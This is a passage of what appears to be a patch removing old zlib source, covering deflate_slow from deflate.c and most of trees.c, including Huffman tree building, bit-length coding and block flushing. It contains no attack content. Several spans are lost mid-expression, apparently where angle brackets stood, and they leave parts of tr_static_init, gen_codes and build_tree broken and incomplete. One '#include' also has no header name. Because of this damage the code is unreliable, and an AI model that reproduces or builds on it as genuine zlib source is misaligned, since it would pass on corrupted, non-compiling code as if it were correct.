garbage, but it does not - * matter since it will be recomputed at next deflate call. - */ - } - } else { - /* No match, output a literal byte */ - Tracevv((stderr,"%c", s->window[s->strstart])); - bflush = _tr_tally (s, 0, s->window[s->strstart]); - s->lookahead--; - s->strstart++; - } - if (bflush) FLUSH_BLOCK(s, 0); - } - FLUSH_BLOCK(s, flush == Z_FINISH); - return flush == Z_FINISH ? finish_done : block_done; -} - -/* =========================================================================== - * Same as above, but achieves better compression. We use a lazy - * evaluation for matches: a match is finally adopted only if there is - * no better match at the next window position. - */ -local block_state deflate_slow(s, flush) - deflate_state *s; - int flush; -{ - IPos hash_head = NIL; /* head of hash chain */ - int bflush; /* set if current block must be flushed */ - - /* Process the input block. */ - for (;;) { - /* Make sure that we always have enough lookahead, except - * at the end of the input file. We need MAX_MATCH bytes - * for the next match, plus MIN_MATCH bytes to insert the - * string following the next match. - */ - if (s->lookahead < MIN_LOOKAHEAD) { - fill_window(s); - if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) { - return need_more; - } - if (s->lookahead == 0) break; /* flush the current block */ - } - - /* Insert the string window[strstart .. strstart+2] in the - * dictionary, and set hash_head to the head of the hash chain: - */ - if (s->lookahead >= MIN_MATCH) { - INSERT_STRING(s, s->strstart, hash_head); - } - - /* Find the longest match, discarding those <= prev_length. - */ - s->prev_length = s->match_length, s->prev_match = s->match_start; - s->match_length = MIN_MATCH-1; - - if (hash_head != NIL && s->prev_length < s->max_lazy_match && - s->strstart - hash_head <= MAX_DIST(s)) { - /* To simplify the code, we prevent matches with the string - * of window index 0 (in particular we have to avoid a match - * of the string with itself at the start of the input file). - */ - if (s->strategy != Z_HUFFMAN_ONLY) { - s->match_length = longest_match (s, hash_head); - } - /* longest_match() sets match_start */ - - if (s->match_length <= 5 && (s->strategy == Z_FILTERED || - (s->match_length == MIN_MATCH && - s->strstart - s->match_start > TOO_FAR))) { - - /* If prev_match is also MIN_MATCH, match_start is garbage - * but we will ignore the current match anyway. - */ - s->match_length = MIN_MATCH-1; - } - } - /* If there was a match at the previous step and the current - * match is not better, output the previous match: - */ - if (s->prev_length >= MIN_MATCH && s->match_length <= s->prev_length) { - uInt max_insert = s->strstart + s->lookahead - MIN_MATCH; - /* Do not insert strings in hash table beyond this. */ - - check_match(s, s->strstart-1, s->prev_match, s->prev_length); - - bflush = _tr_tally(s, s->strstart -1 - s->prev_match, - s->prev_length - MIN_MATCH); - - /* Insert in hash table all strings up to the end of the match. - * strstart-1 and strstart are already inserted. If there is not - * enough lookahead, the last two strings are not inserted in - * the hash table. - */ - s->lookahead -= s->prev_length-1; - s->prev_length -= 2; - do { - if (++s->strstart <= max_insert) { - INSERT_STRING(s, s->strstart, hash_head); - } - } while (--s->prev_length != 0); - s->match_available = 0; - s->match_length = MIN_MATCH-1; - s->strstart++; - - if (bflush) FLUSH_BLOCK(s, 0); - - } else if (s->match_available) { - /* If there was no match at the previous position, output a - * single literal. If there was a match but the current match - * is longer, truncate the previous match to a single literal. - */ - Tracevv((stderr,"%c", s->window[s->strstart-1])); - if (_tr_tally (s, 0, s->window[s->strstart-1])) { - FLUSH_BLOCK_ONLY(s, 0); - } - s->strstart++; - s->lookahead--; - if (s->strm->avail_out == 0) return need_more; - } else { - /* There is no previous match to compare with, wait for - * the next step to decide. - */ - s->match_available = 1; - s->strstart++; - s->lookahead--; - } - } - Assert (flush != Z_NO_FLUSH, "no flush?"); - if (s->match_available) { - Tracevv((stderr,"%c", s->window[s->strstart-1])); - _tr_tally (s, 0, s->window[s->strstart-1]); - s->match_available = 0; - } - FLUSH_BLOCK(s, flush == Z_FINISH); - return flush == Z_FINISH ? finish_done : block_done; -} -/* --- deflate.c */ - -/* +++ trees.c */ -/* trees.c -- output deflated data using Huffman coding - * Copyright (C) 1995-1996 Jean-loup Gailly - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* - * ALGORITHM - * - * The "deflation" process uses several Huffman trees. The more - * common source values are represented by shorter bit sequences. - * - * Each code tree is stored in a compressed form which is itself - * a Huffman encoding of the lengths of all the code strings (in - * ascending order by source values). The actual code strings are - * reconstructed from the lengths in the inflate process, as described - * in the deflate specification. - * - * REFERENCES - * - * Deutsch, L.P.,"'Deflate' Compressed Data Format Specification". - * Available in ftp.uu.net:/pub/archiving/zip/doc/deflate-1.1.doc - * - * Storer, James A. - * Data Compression: Methods and Theory, pp. 49-50. - * Computer Science Press, 1988. ISBN 0-7167-8156-5. - * - * Sedgewick, R. - * Algorithms, p290. - * Addison-Wesley, 1983. ISBN 0-201-06672-6. - */ - -/* From: trees.c,v 1.11 1996/07/24 13:41:06 me Exp $ */ - -/* #include "deflate.h" */ - -#ifdef DEBUG_ZLIB -# include -#endif - -/* =========================================================================== - * Constants - */ - -#define MAX_BL_BITS 7 -/* Bit length codes must not exceed MAX_BL_BITS bits */ - -#define END_BLOCK 256 -/* end of block literal code */ - -#define REP_3_6 16 -/* repeat previous bit length 3-6 times (2 bits of repeat count) */ - -#define REPZ_3_10 17 -/* repeat a zero length 3-10 times (3 bits of repeat count) */ - -#define REPZ_11_138 18 -/* repeat a zero length 11-138 times (7 bits of repeat count) */ - -local int extra_lbits[LENGTH_CODES] /* extra bits for each length code */ - = {0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0}; - -local int extra_dbits[D_CODES] /* extra bits for each distance code */ - = {0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13}; - -local int extra_blbits[BL_CODES]/* extra bits for each bit length code */ - = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7}; - -local uch bl_order[BL_CODES] - = {16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15}; -/* The lengths of the bit length codes are sent in order of decreasing - * probability, to avoid transmitting the lengths for unused bit length codes. - */ - -#define Buf_size (8 * 2*sizeof(char)) -/* Number of bits used within bi_buf. (bi_buf might be implemented on - * more than 16 bits on some systems.) - */ - -/* =========================================================================== - * Local data. These are initialized only once. - */ - -local ct_data static_ltree[L_CODES+2]; -/* The static literal tree. Since the bit lengths are imposed, there is no - * need for the L_CODES extra codes used during heap construction. However - * The codes 286 and 287 are needed to build a canonical tree (see _tr_init - * below). - */ - -local ct_data static_dtree[D_CODES]; -/* The static distance tree. (Actually a trivial tree since all codes use - * 5 bits.) - */ - -local uch dist_code[512]; -/* distance codes. The first 256 values correspond to the distances - * 3 .. 258, the last 256 values correspond to the top 8 bits of - * the 15 bit distances. - */ - -local uch length_code[MAX_MATCH-MIN_MATCH+1]; -/* length code for each normalized match length (0 == MIN_MATCH) */ - -local int base_length[LENGTH_CODES]; -/* First normalized length for each code (0 = MIN_MATCH) */ - -local int base_dist[D_CODES]; -/* First normalized distance for each code (0 = distance of 1) */ - -struct static_tree_desc_s { - ct_data *static_tree; /* static tree or NULL */ - intf *extra_bits; /* extra bits for each code or NULL */ - int extra_base; /* base index for extra_bits */ - int elems; /* max number of elements in the tree */ - int max_length; /* max bit length for the codes */ -}; - -local static_tree_desc static_l_desc = -{static_ltree, extra_lbits, LITERALS+1, L_CODES, MAX_BITS}; - -local static_tree_desc static_d_desc = -{static_dtree, extra_dbits, 0, D_CODES, MAX_BITS}; - -local static_tree_desc static_bl_desc = -{(ct_data *)0, extra_blbits, 0, BL_CODES, MAX_BL_BITS}; - -/* =========================================================================== - * Local (static) routines in this file. - */ - -local void tr_static_init OF((void)); -local void init_block OF((deflate_state *s)); -local void pqdownheap OF((deflate_state *s, ct_data *tree, int k)); -local void gen_bitlen OF((deflate_state *s, tree_desc *desc)); -local void gen_codes OF((ct_data *tree, int max_code, ushf *bl_count)); -local void build_tree OF((deflate_state *s, tree_desc *desc)); -local void scan_tree OF((deflate_state *s, ct_data *tree, int max_code)); -local void send_tree OF((deflate_state *s, ct_data *tree, int max_code)); -local int build_bl_tree OF((deflate_state *s)); -local void send_all_trees OF((deflate_state *s, int lcodes, int dcodes, - int blcodes)); -local void compress_block OF((deflate_state *s, ct_data *ltree, - ct_data *dtree)); -local void set_data_type OF((deflate_state *s)); -local unsigned bi_reverse OF((unsigned value, int length)); -local void bi_windup OF((deflate_state *s)); -local void bi_flush OF((deflate_state *s)); -local void copy_block OF((deflate_state *s, charf *buf, unsigned len, - int header)); - -#ifndef DEBUG_ZLIB -# define send_code(s, c, tree) send_bits(s, tree[(c)].Code, tree[(c)].Len) - /* Send a code of the given tree. c and tree must not have side effects */ - -#else /* DEBUG_ZLIB */ -# define send_code(s, c, tree) \ - { if (verbose>2) fprintf(stderr,"\ncd %3d ",(c)); \ - send_bits(s, tree[c].Code, tree[c].Len); } -#endif - -#define d_code(dist) \ - ((dist) < 256 ? dist_code[dist] : dist_code[256+((dist)>>7)]) -/* Mapping from a distance to a distance code. dist is the distance - 1 and - * must not have side effects. dist_code[256] and dist_code[257] are never - * used. - */ - -/* =========================================================================== - * Output a short LSB first on the stream. - * IN assertion: there is enough room in pendingBuf. - */ -#define put_short(s, w) { \ - put_byte(s, (uch)((w) & 0xff)); \ - put_byte(s, (uch)((ush)(w) >> 8)); \ -} - -/* =========================================================================== - * Send a value on a given number of bits. - * IN assertion: length <= 16 and value fits in length bits. - */ -#ifdef DEBUG_ZLIB -local void send_bits OF((deflate_state *s, int value, int length)); - -local void send_bits(s, value, length) - deflate_state *s; - int value; /* value to send */ - int length; /* number of bits */ -{ - Tracevv((stderr," l %2d v %4x ", length, value)); - Assert(length > 0 && length <= 15, "invalid length"); - s->bits_sent += (ulg)length; - - /* If not enough room in bi_buf, use (valid) bits from bi_buf and - * (16 - bi_valid) bits from value, leaving (width - (16-bi_valid)) - * unused bits in value. - */ - if (s->bi_valid > (int)Buf_size - length) { - s->bi_buf |= (value << s->bi_valid); - put_short(s, s->bi_buf); - s->bi_buf = (ush)value >> (Buf_size - s->bi_valid); - s->bi_valid += length - Buf_size; - } else { - s->bi_buf |= value << s->bi_valid; - s->bi_valid += length; - } -} -#else /* !DEBUG_ZLIB */ - -#define send_bits(s, value, length) \ -{ int len = (length);\ - if ((s)->bi_valid > (int)Buf_size - len) {\ - int val = (value);\ - (s)->bi_buf |= (val << (s)->bi_valid);\ - put_short((s), (s)->bi_buf);\ - (s)->bi_buf = (ush)val >> (Buf_size - (s)->bi_valid);\ - (s)->bi_valid += len - Buf_size;\ - } else {\ - (s)->bi_buf |= (value) << (s)->bi_valid;\ - (s)->bi_valid += len;\ - }\ -} -#endif /* DEBUG_ZLIB */ - -/* the arguments must not have side effects */ - -/* =========================================================================== - * Initialize the various 'constant' tables. In a multi-threaded environment, - * this function may be called by two threads concurrently, but this is - * harmless since both invocations do exactly the same thing. - */ -local void tr_static_init() -{ - static int static_init_done = 0; - int n; /* iterates over tree elements */ - int bits; /* bit counter */ - int length; /* length value */ - int code; /* code value */ - int dist; /* distance index */ - ush bl_count[MAX_BITS+1]; - /* number of codes at each bit length for an optimal tree */ - - if (static_init_done) return; - - /* Initialize the mapping length (0..255) -> length code (0..28) */ - length = 0; - for (code = 0; code < LENGTH_CODES-1; code++) { - base_length[code] = length; - for (n = 0; n < (1< dist code (0..29) */ - dist = 0; - for (code = 0 ; code < 16; code++) { - base_dist[code] = dist; - for (n = 0; n < (1<>= 7; /* from now on, all distances are divided by 128 */ - for ( ; code < D_CODES; code++) { - base_dist[code] = dist << 7; - for (n = 0; n < (1<<(extra_dbits[code]-7)); n++) { - dist_code[256 + dist++] = (uch)code; - } - } - Assert (dist == 256, "tr_static_init: 256+dist != 512"); - - /* Construct the codes of the static literal tree */ - for (bits = 0; bits <= MAX_BITS; bits++) bl_count[bits] = 0; - n = 0; - while (n <= 143) static_ltree[n++].Len = 8, bl_count[8]++; - while (n <= 255) static_ltree[n++].Len = 9, bl_count[9]++; - while (n <= 279) static_ltree[n++].Len = 7, bl_count[7]++; - while (n <= 287) static_ltree[n++].Len = 8, bl_count[8]++; - /* Codes 286 and 287 do not exist, but we must include them in the - * tree construction to get a canonical Huffman tree (longest code - * all ones) - */ - gen_codes((ct_data *)static_ltree, L_CODES+1, bl_count); - - /* The static distance tree is trivial: */ - for (n = 0; n < D_CODES; n++) { - static_dtree[n].Len = 5; - static_dtree[n].Code = bi_reverse((unsigned)n, 5); - } - static_init_done = 1; -} - -/* =========================================================================== - * Initialize the tree data structures for a new zlib stream. - */ -void _tr_init(s) - deflate_state *s; -{ - tr_static_init(); - - s->compressed_len = 0L; - - s->l_desc.dyn_tree = s->dyn_ltree; - s->l_desc.stat_desc = &static_l_desc; - - s->d_desc.dyn_tree = s->dyn_dtree; - s->d_desc.stat_desc = &static_d_desc; - - s->bl_desc.dyn_tree = s->bl_tree; - s->bl_desc.stat_desc = &static_bl_desc; - - s->bi_buf = 0; - s->bi_valid = 0; - s->last_eob_len = 8; /* enough lookahead for inflate */ -#ifdef DEBUG_ZLIB - s->bits_sent = 0L; -#endif - - /* Initialize the first block of the first file: */ - init_block(s); -} - -/* =========================================================================== - * Initialize a new block. - */ -local void init_block(s) - deflate_state *s; -{ - int n; /* iterates over tree elements */ - - /* Initialize the trees. */ - for (n = 0; n < L_CODES; n++) s->dyn_ltree[n].Freq = 0; - for (n = 0; n < D_CODES; n++) s->dyn_dtree[n].Freq = 0; - for (n = 0; n < BL_CODES; n++) s->bl_tree[n].Freq = 0; - - s->dyn_ltree[END_BLOCK].Freq = 1; - s->opt_len = s->static_len = 0L; - s->last_lit = s->matches = 0; -} - -#define SMALLEST 1 -/* Index within the heap array of least frequent node in the Huffman tree */ - - -/* =========================================================================== - * Remove the smallest element from the heap and recreate the heap with - * one less element. Updates heap and heap_len. - */ -#define pqremove(s, tree, top) \ -{\ - top = s->heap[SMALLEST]; \ - s->heap[SMALLEST] = s->heap[s->heap_len--]; \ - pqdownheap(s, tree, SMALLEST); \ -} - -/* =========================================================================== - * Compares to subtrees, using the tree depth as tie breaker when - * the subtrees have equal frequency. This minimizes the worst case length. - */ -#define smaller(tree, n, m, depth) \ - (tree[n].Freq < tree[m].Freq || \ - (tree[n].Freq == tree[m].Freq && depth[n] <= depth[m])) - -/* =========================================================================== - * Restore the heap property by moving down the tree starting at node k, - * exchanging a node with the smallest of its two sons if necessary, stopping - * when the heap property is re-established (each father smaller than its - * two sons). - */ -local void pqdownheap(s, tree, k) - deflate_state *s; - ct_data *tree; /* the tree to restore */ - int k; /* node to move down */ -{ - int v = s->heap[k]; - int j = k << 1; /* left son of k */ - while (j <= s->heap_len) { - /* Set j to the smallest of the two sons: */ - if (j < s->heap_len && - smaller(tree, s->heap[j+1], s->heap[j], s->depth)) { - j++; - } - /* Exit if v is smaller than both sons */ - if (smaller(tree, v, s->heap[j], s->depth)) break; - - /* Exchange v with the smallest son */ - s->heap[k] = s->heap[j]; k = j; - - /* And continue down the tree, setting j to the left son of k */ - j <<= 1; - } - s->heap[k] = v; -} - -/* =========================================================================== - * Compute the optimal bit lengths for a tree and update the total bit length - * for the current block. - * IN assertion: the fields freq and dad are set, heap[heap_max] and - * above are the tree nodes sorted by increasing frequency. - * OUT assertions: the field len is set to the optimal bit length, the - * array bl_count contains the frequencies for each bit length. - * The length opt_len is updated; static_len is also updated if stree is - * not null. - */ -local void gen_bitlen(s, desc) - deflate_state *s; - tree_desc *desc; /* the tree descriptor */ -{ - ct_data *tree = desc->dyn_tree; - int max_code = desc->max_code; - ct_data *stree = desc->stat_desc->static_tree; - intf *extra = desc->stat_desc->extra_bits; - int base = desc->stat_desc->extra_base; - int max_length = desc->stat_desc->max_length; - int h; /* heap index */ - int n, m; /* iterate over the tree elements */ - int bits; /* bit length */ - int xbits; /* extra bits */ - ush f; /* frequency */ - int overflow = 0; /* number of elements with bit length too large */ - - for (bits = 0; bits <= MAX_BITS; bits++) s->bl_count[bits] = 0; - - /* In a first pass, compute the optimal bit lengths (which may - * overflow in the case of the bit length tree). - */ - tree[s->heap[s->heap_max]].Len = 0; /* root of the heap */ - - for (h = s->heap_max+1; h < HEAP_SIZE; h++) { - n = s->heap[h]; - bits = tree[tree[n].Dad].Len + 1; - if (bits > max_length) bits = max_length, overflow++; - tree[n].Len = (ush)bits; - /* We overwrite tree[n].Dad which is no longer needed */ - - if (n > max_code) continue; /* not a leaf node */ - - s->bl_count[bits]++; - xbits = 0; - if (n >= base) xbits = extra[n-base]; - f = tree[n].Freq; - s->opt_len += (ulg)f * (bits + xbits); - if (stree) s->static_len += (ulg)f * (stree[n].Len + xbits); - } - if (overflow == 0) return; - - Trace((stderr,"\nbit length overflow\n")); - /* This happens for example on obj2 and pic of the Calgary corpus */ - - /* Find the first bit length which could increase: */ - do { - bits = max_length-1; - while (s->bl_count[bits] == 0) bits--; - s->bl_count[bits]--; /* move one leaf down the tree */ - s->bl_count[bits+1] += 2; /* move one overflow item as its brother */ - s->bl_count[max_length]--; - /* The brother of the overflow item also moves one step up, - * but this does not affect bl_count[max_length] - */ - overflow -= 2; - } while (overflow > 0); - - /* Now recompute all bit lengths, scanning in increasing frequency. - * h is still equal to HEAP_SIZE. (It is simpler to reconstruct all - * lengths instead of fixing only the wrong ones. This idea is taken - * from 'ar' written by Haruhiko Okumura.) - */ - for (bits = max_length; bits != 0; bits--) { - n = s->bl_count[bits]; - while (n != 0) { - m = s->heap[--h]; - if (m > max_code) continue; - if (tree[m].Len != (unsigned) bits) { - Trace((stderr,"code %d bits %d->%d\n", m, tree[m].Len, bits)); - s->opt_len += ((long)bits - (long)tree[m].Len) - *(long)tree[m].Freq; - tree[m].Len = (ush)bits; - } - n--; - } - } -} - -/* =========================================================================== - * Generate the codes for a given tree and bit counts (which need not be - * optimal). - * IN assertion: the array bl_count contains the bit length statistics for - * the given tree and the field len is set for all tree elements. - * OUT assertion: the field code is set for all tree elements of non - * zero code length. - */ -local void gen_codes (tree, max_code, bl_count) - ct_data *tree; /* the tree to decorate */ - int max_code; /* largest code with non zero frequency */ - ushf *bl_count; /* number of codes at each bit length */ -{ - ush next_code[MAX_BITS+1]; /* next code value for each bit length */ - ush code = 0; /* running code value */ - int bits; /* bit index */ - int n; /* code index */ - - /* The distribution counts are first used to generate the code values - * without bit reversal. - */ - for (bits = 1; bits <= MAX_BITS; bits++) { - next_code[bits] = code = (code + bl_count[bits-1]) << 1; - } - /* Check that the bit counts in bl_count are consistent. The last code - * must be all ones. - */ - Assert (code + bl_count[MAX_BITS]-1 == (1<dyn_tree; - ct_data *stree = desc->stat_desc->static_tree; - int elems = desc->stat_desc->elems; - int n, m; /* iterate over heap elements */ - int max_code = -1; /* largest code with non zero frequency */ - int node; /* new node being created */ - - /* Construct the initial heap, with least frequent element in - * heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1]. - * heap[0] is not used. - */ - s->heap_len = 0, s->heap_max = HEAP_SIZE; - - for (n = 0; n < elems; n++) { - if (tree[n].Freq != 0) { - s->heap[++(s->heap_len)] = max_code = n; - s->depth[n] = 0; - } else { - tree[n].Len = 0; - } - } - - /* The pkzip format requires that at least one distance code exists, - * and that at least one bit should be sent even if there is only one - * possible code. So to avoid special checks later on we force at least - * two codes of non zero frequency. - */ - while (s->heap_len < 2) { - node = s->heap[++(s->heap_len)] = (max_code < 2 ? ++max_code : 0); - tree[node].Freq = 1; - s->depth[node] = 0; - s->opt_len--; if (stree) s->static_len -= stree[node].Len; - /* node is 0 or 1 so it does not have extra bits */ - } - desc->max_code = max_code; - - /* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree, - * establish sub-heaps of increasing lengths: - */ - for (n = s->heap_len/2; n >= 1; n--) pqdownheap(s, tree, n); - - /* Construct the Huffman tree by repeatedly combining the least two - * frequent nodes. - */ - node = elems; /* next internal node of the tree */ - do { - pqremove(s, tree, n); /* n = node of least frequency */ - m = s->heap[SMALLEST]; /* m = node of next least frequency */ - - s->heap[--(s->heap_max)] = n; /* keep the nodes sorted by frequency */ - s->heap[--(s->heap_max)] = m; - - /* Create a new node father of n and m */ - tree[node].Freq = tree[n].Freq + tree[m].Freq; - s->depth[node] = (uch) (MAX(s->depth[n], s->depth[m]) + 1); - tree[n].Dad = tree[m].Dad = (ush)node; -#ifdef DUMP_BL_TREE - if (tree == s->bl_tree) { - fprintf(stderr,"\nnode %d(%d), sons %d(%d) %d(%d)", - node, tree[node].Freq, n, tree[n].Freq, m, tree[m].Freq); - } -#endif - /* and insert the new node in the heap */ - s->heap[SMALLEST] = node++; - pqdownheap(s, tree, SMALLEST); - - } while (s->heap_len >= 2); - - s->heap[--(s->heap_max)] = s->heap[SMALLEST]; - - /* At this point, the fields freq and dad are set. We can now - * generate the bit lengths. - */ - gen_bitlen(s, (tree_desc *)desc); - - /* The field len is now set, we can generate the bit codes */ - gen_codes ((ct_data *)tree, max_code, s->bl_count); -} - -/* =========================================================================== - * Scan a literal or distance tree to determine the frequencies of the codes - * in the bit length tree. - */ -local void scan_tree (s, tree, max_code) - deflate_state *s; - ct_data *tree; /* the tree to be scanned */ - int max_code; /* and its largest code of non zero frequency */ -{ - int n; /* iterates over all tree elements */ - int prevlen = -1; /* last emitted length */ - int curlen; /* length of current code */ - int nextlen = tree[0].Len; /* length of next code */ - int count = 0; /* repeat count of the current code */ - int max_count = 7; /* max repeat count */ - int min_count = 4; /* min repeat count */ - - if (nextlen == 0) max_count = 138, min_count = 3; - tree[max_code+1].Len = (ush)0xffff; /* guard */ - - for (n = 0; n <= max_code; n++) { - curlen = nextlen; nextlen = tree[n+1].Len; - if (++count < max_count && curlen == nextlen) { - continue; - } else if (count < min_count) { - s->bl_tree[curlen].Freq += count; - } else if (curlen != 0) { - if (curlen != prevlen) s->bl_tree[curlen].Freq++; - s->bl_tree[REP_3_6].Freq++; - } else if (count <= 10) { - s->bl_tree[REPZ_3_10].Freq++; - } else { - s->bl_tree[REPZ_11_138].Freq++; - } - count = 0; prevlen = curlen; - if (nextlen == 0) { - max_count = 138, min_count = 3; - } else if (curlen == nextlen) { - max_count = 6, min_count = 3; - } else { - max_count = 7, min_count = 4; - } - } -} - -/* =========================================================================== - * Send a literal or distance tree in compressed form, using the codes in - * bl_tree. - */ -local void send_tree (s, tree, max_code) - deflate_state *s; - ct_data *tree; /* the tree to be scanned */ - int max_code; /* and its largest code of non zero frequency */ -{ - int n; /* iterates over all tree elements */ - int prevlen = -1; /* last emitted length */ - int curlen; /* length of current code */ - int nextlen = tree[0].Len; /* length of next code */ - int count = 0; /* repeat count of the current code */ - int max_count = 7; /* max repeat count */ - int min_count = 4; /* min repeat count */ - - /* tree[max_code+1].Len = -1; */ /* guard already set */ - if (nextlen == 0) max_count = 138, min_count = 3; - - for (n = 0; n <= max_code; n++) { - curlen = nextlen; nextlen = tree[n+1].Len; - if (++count < max_count && curlen == nextlen) { - continue; - } else if (count < min_count) { - do { send_code(s, curlen, s->bl_tree); } while (--count != 0); - - } else if (curlen != 0) { - if (curlen != prevlen) { - send_code(s, curlen, s->bl_tree); count--; - } - Assert(count >= 3 && count <= 6, " 3_6?"); - send_code(s, REP_3_6, s->bl_tree); send_bits(s, count-3, 2); - - } else if (count <= 10) { - send_code(s, REPZ_3_10, s->bl_tree); send_bits(s, count-3, 3); - - } else { - send_code(s, REPZ_11_138, s->bl_tree); send_bits(s, count-11, 7); - } - count = 0; prevlen = curlen; - if (nextlen == 0) { - max_count = 138, min_count = 3; - } else if (curlen == nextlen) { - max_count = 6, min_count = 3; - } else { - max_count = 7, min_count = 4; - } - } -} - -/* =========================================================================== - * Construct the Huffman tree for the bit lengths and return the index in - * bl_order of the last bit length code to send. - */ -local int build_bl_tree(s) - deflate_state *s; -{ - int max_blindex; /* index of last bit length code of non zero freq */ - - /* Determine the bit length frequencies for literal and distance trees */ - scan_tree(s, (ct_data *)s->dyn_ltree, s->l_desc.max_code); - scan_tree(s, (ct_data *)s->dyn_dtree, s->d_desc.max_code); - - /* Build the bit length tree: */ - build_tree(s, (tree_desc *)(&(s->bl_desc))); - /* opt_len now includes the length of the tree representations, except - * the lengths of the bit lengths codes and the 5+5+4 bits for the counts. - */ - - /* Determine the number of bit length codes to send. The pkzip format - * requires that at least 4 bit length codes be sent. (appnote.txt says - * 3 but the actual value used is 4.) - */ - for (max_blindex = BL_CODES-1; max_blindex >= 3; max_blindex--) { - if (s->bl_tree[bl_order[max_blindex]].Len != 0) break; - } - /* Update opt_len to include the bit length tree and counts */ - s->opt_len += 3*(max_blindex+1) + 5+5+4; - Tracev((stderr, "\ndyn trees: dyn %ld, stat %ld", - s->opt_len, s->static_len)); - - return max_blindex; -} - -/* =========================================================================== - * Send the header for a block using dynamic Huffman trees: the counts, the - * lengths of the bit length codes, the literal tree and the distance tree. - * IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4. - */ -local void send_all_trees(s, lcodes, dcodes, blcodes) - deflate_state *s; - int lcodes, dcodes, blcodes; /* number of codes for each tree */ -{ - int rank; /* index in bl_order */ - - Assert (lcodes >= 257 && dcodes >= 1 && blcodes >= 4, "not enough codes"); - Assert (lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES, - "too many codes"); - Tracev((stderr, "\nbl counts: ")); - send_bits(s, lcodes-257, 5); /* not +255 as stated in appnote.txt */ - send_bits(s, dcodes-1, 5); - send_bits(s, blcodes-4, 4); /* not -3 as stated in appnote.txt */ - for (rank = 0; rank < blcodes; rank++) { - Tracev((stderr, "\nbl code %2d ", bl_order[rank])); - send_bits(s, s->bl_tree[bl_order[rank]].Len, 3); - } - Tracev((stderr, "\nbl tree: sent %ld", s->bits_sent)); - - send_tree(s, (ct_data *)s->dyn_ltree, lcodes-1); /* literal tree */ - Tracev((stderr, "\nlit tree: sent %ld", s->bits_sent)); - - send_tree(s, (ct_data *)s->dyn_dtree, dcodes-1); /* distance tree */ - Tracev((stderr, "\ndist tree: sent %ld", s->bits_sent)); -} - -/* =========================================================================== - * Send a stored block - */ -void _tr_stored_block(s, buf, stored_len, eof) - deflate_state *s; - charf *buf; /* input block */ - ulg stored_len; /* length of input block */ - int eof; /* true if this is the last block for a file */ -{ - send_bits(s, (STORED_BLOCK<<1)+eof, 3); /* send block type */ - s->compressed_len = (s->compressed_len + 3 + 7) & (ulg)~7L; - s->compressed_len += (stored_len + 4) << 3; - - copy_block(s, buf, (unsigned)stored_len, 1); /* with header */ -} - -/* Send just the `stored block' type code without any length bytes or data. - */ -void _tr_stored_type_only(s) - deflate_state *s; -{ - send_bits(s, (STORED_BLOCK << 1), 3); - bi_windup(s); - s->compressed_len = (s->compressed_len + 3) & ~7L; -} - - -/* =========================================================================== - * Send one empty static block to give enough lookahead for inflate. - * This takes 10 bits, of which 7 may remain in the bit buffer. - * The current inflate code requires 9 bits of lookahead. If the - * last two codes for the previous block (real code plus EOB) were coded - * on 5 bits or less, inflate may have only 5+3 bits of lookahead to decode - * the last real code. In this case we send two empty static blocks instead - * of one. (There are no problems if the previous block is stored or fixed.) - * To simplify the code, we assume the worst case of last real code encoded - * on one bit only. - */ -void _tr_align(s) - deflate_state *s; -{ - send_bits(s, STATIC_TREES<<1, 3); - send_code(s, END_BLOCK, static_ltree); - s->compressed_len += 10L; /* 3 for block type, 7 for EOB */ - bi_flush(s); - /* Of the 10 bits for the empty block, we have already sent - * (10 - bi_valid) bits. The lookahead for the last real code (before - * the EOB of the previous block) was thus at least one plus the length - * of the EOB plus what we have just sent of the empty static block. - */ - if (1 + s->last_eob_len + 10 - s->bi_valid < 9) { - send_bits(s, STATIC_TREES<<1, 3); - send_code(s, END_BLOCK, static_ltree); - s->compressed_len += 10L; - bi_flush(s); - } - s->last_eob_len = 7; -} - -/* =========================================================================== - * Determine the best encoding for the current block: dynamic trees, static - * trees or store, and output the encoded block to the zip file. This function - * returns the total compressed length for the file so far. - */ -ulg _tr_flush_block(s, buf, stored_len, eof) - deflate_state *s; - charf *buf; /* input block, or NULL if too old */ - ulg stored_len; /* length of input block */ - int eof; /* true if this is the last block for a file */ -{ - ulg opt_lenb, static_lenb; /* opt_len and static_len in bytes */ - int max_blindex = 0; /* index of last bit length code of non zero freq */ - - /* Build the Huffman trees unless a stored block is forced */ - if (s->level > 0) { - - /* Check if the file is ascii or binary */ - if (s->data_type == Z_UNKNOWN) set_data_type(s); - - /* Construct the literal and distance trees */ - build_tree(s, (tree_desc *)(&(s->l_desc))); - Tracev((stderr, "\nlit data: dyn %ld, stat %ld", s->opt_len, - s->static_len)); - - build_tree(s, (tree_desc *)(&(s->d_desc))); - Tracev((stderr, "\ndist data: dyn %ld, stat %ld", s->opt_len, - s->static_len)); - /* At this point, opt_len and static_len are the total bit lengths of - * the compressed block data, excluding the tree representations. - */ - - /* Build the bit length tree for the above two trees, and get the index - * in bl_order of the last bit length code to send. - */ - max_blindex = build_bl_tree(s); - - /* Determine the best encoding. Compute first the block length in bytes*/ - opt_lenb = (s->opt_len+3+7)>>3; - static_lenb = (s->static_len+3+7)>>3; - - Tracev((stderr, "\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u ", - opt_lenb, s->opt_len, static_lenb, s->static_len, stored_len, - s->last_lit)); - - if (static_lenb <= opt_lenb) opt_lenb = static_lenb; - - } else { - Assert(buf != (char*)0, "lost buf"); - opt_lenb = static_lenb = stored_len + 5; /* force a stored block */ - } - - /* If compression failed and this is the first and last block, - * and if the .zip file can be seeked (to rewrite the local header), - * the whole file is transformed into a stored file: - */ -#ifdef STORED_FILE_OK -# ifdef FORCE_STORED_FILE - if (eof && s->compressed_len == 0L) { /* force stored file */ -# else - if (stored_len <= opt_lenb && eof && s->compressed_len==0L && seekable()) { -# endif - /* Since LIT_BUFSIZE <= 2*WSIZE, the input data must be there: */ - if (buf == (charf*)0) error ("block vanished"); - - copy_block(s, buf, (unsigned)stored_len, 0); /* without header */ - s->compressed_len = stored_len << 3; - s->method 